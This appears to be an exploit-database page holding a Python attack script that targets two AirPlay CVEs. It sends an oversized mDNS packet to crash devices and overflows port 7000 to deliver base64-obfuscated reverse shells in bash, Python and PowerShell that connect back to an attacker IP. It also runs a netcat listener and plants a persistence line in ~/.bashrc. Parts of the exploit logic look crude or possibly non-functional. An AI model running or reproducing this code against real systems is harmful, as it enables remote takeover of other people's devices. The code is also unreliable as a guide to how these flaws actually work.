4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / airborne.py PY
#!/usr/bin/env python3
# AirBorne Elite Edition — Full RCE with Listener & Persistence
# Created by ekomsSavior | Team EVA Forever

import socket
import base64
import argparse
import subprocess
import threading
import time
import os
from scapy.all import *

def print_banner():
    print(r"""
  ___  _________________  ___________ _   _  _____  
 / _ \|_   _| ___ \ ___ \|  _  | ___ \ \ | ||  ___| 
/ /_\ \ | | | |_/ / |_/ /| | | | |_/ /  \| || |__   
|  _  | | | |    /| ___ \| | | |    /| . ` ||  __|  
| | | |_| |_| |\ \| |_/ /\ \_/ / |\ \| |\  || |___  
\_| |_/\___/\_| \_\____/  \___/\_| \_\_| \_/\____/ 

 CVE-2025-24252 & CVE-2025-24132 PoC + RCE + Persistence
    """)

# --- Payload Generators ---
def generate_payload(attacker_ip, port, method, command):
    if method == "bash":
        shell = f"bash -i >& /dev/tcp/{attacker_ip}/{port} 0>&1"
    elif method == "bash_own_command":
        shell = command
    elif method == "python":
        shell = (
            f"python3 -c 'import socket,os,pty;s=socket.socket();"
            f"s.connect((\"{attacker_ip}\",{port}));"
            f"os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);"
            f"os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
        )
    elif method == "powershell":
        shell = (
            f"powershell -nop -w hidden -c \"$client = New-Object System.Net.Sockets.TCPClient('{attacker_ip}',{port});"
            f"$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};"
            f"while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;"
            f"$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);"
            f"$sendback = (iex $data 2>&1 | Out-String );"
            f"$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';"
            f"$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);"
            f"$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\""
        )
    else:
        raise ValueError("Invalid payload method.")
    
    encoded = base64.b64encode(shell.encode()).decode()
    return f"echo {encoded} | base64 -d | bash".encode()

# --- Persistence (Linux .bashrc) ---
def add_persistence(attacker_ip, port, method):
    print("[*] Adding persistence to ~/.bashrc...")
    payload = generate_payload(attacker_ip, port, method, "").decode()
    try:
        with open(os.path.expanduser("~/.bashrc"), "a") as f:
            f.write(f"\n# EVA PERSISTENCE\n{payload}\n")
        print("[+] Persistence added.")
    except Exception as e:
        print("[-] Failed to add persistence:", e)

# --- Netcat Listener (runs in background) ---
def start_listener(port):
    def listener():
        print(f"[*] Starting Netcat listener on port {port}...")
        subprocess.call(["nc", "-lvnp", str(port)])
    thread = threading.Thread(target=listener)
    thread.daemon = True
    thread.start()
    time.sleep(1)

# --- CVE-2025-24252 (mDNS crash) ---
def exploit_24252(interface):
    print("[*] Launching CVE-2025-24252 (mDNS TXT Crash)...")
    packet = IP(dst="224.0.0.251") / UDP(sport=5353, dport=5353) / DNS(
        qr=0,
        opcode=0,
        qdcount=1,
        ancount=1,
        qd=DNSQR(qname="AirPlay._tcp.local", qtype="PTR"),
        an=DNSRR(rrname="AirPlay._tcp.local", type="TXT", rdata="A" * 5000)
    )
    send(packet, iface=interface, count=1)
    print("[+] mDNS crash packet sent on interface:", interface)

# --- CVE-2025-24132 (Heap Overflow + Reverse Shell) ---
def exploit_24132(target_ip, attacker_ip, port, method, persistent, command):
    print(f"[*] Launching CVE-2025-24132 (Heap Overflow + RCE)...")
    start_listener(port)

    try:
        sock = socket.create_connection((target_ip, 7000), timeout=5)
        overflow = b"A" * 1024
        payload = generate_payload(attacker_ip, port, method, command)
        full_payload = overflow + b"\n" + payload + b"\n"
        sock.sendall(full_payload)
        sock.close()
        print("[+] Payload delivered. Check your shell.")
    except Exception as e:
        print("[-] Exploit failed:", e)

    if persistent:
        add_persistence(attacker_ip, port, method)

# --- CLI Setup ---
def main():
    print_banner()

    parser = argparse.ArgumentParser(description="AirBorne Elite PoC Exploit Tool")
    parser.add_argument("--exploit", required=True, choices=["24252", "24132"], help="Which CVE to run")
    parser.add_argument("--interface", help="Interface for CVE-24252")
    parser.add_argument("--target", help="Target IP (for CVE-24132)")
    parser.add_argument("--attacker", help="Your IP for reverse shell")
    parser.add_argument("--port", default="4444", help="Port for reverse shell")
    parser.add_argument("--payload", default="bash", choices=["bash", "bash_own_command", "python", "powershell"], help="Payload type")
    parser.add_argument("--persistent", action="store_true", help="Enable real persistence (Linux only)")
    parser.add_argument("--command", help="Custom command for bash payload (if using bash_own_command)")

    args = parser.parse_args()

    if args.exploit == "24252":
        if not args.interface:
            print("[-] Interface is required for mDNS attack.")
            return
        exploit_24252(args.interface)

    elif args.exploit == "24132":
        if not args.target or not args.attacker:
            print("[-] Target and attacker IP required.")
            return
        exploit_24132(args.target, args.attacker, int(args.port), args.payload, args.persistent, args.command)

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Stopped by user.")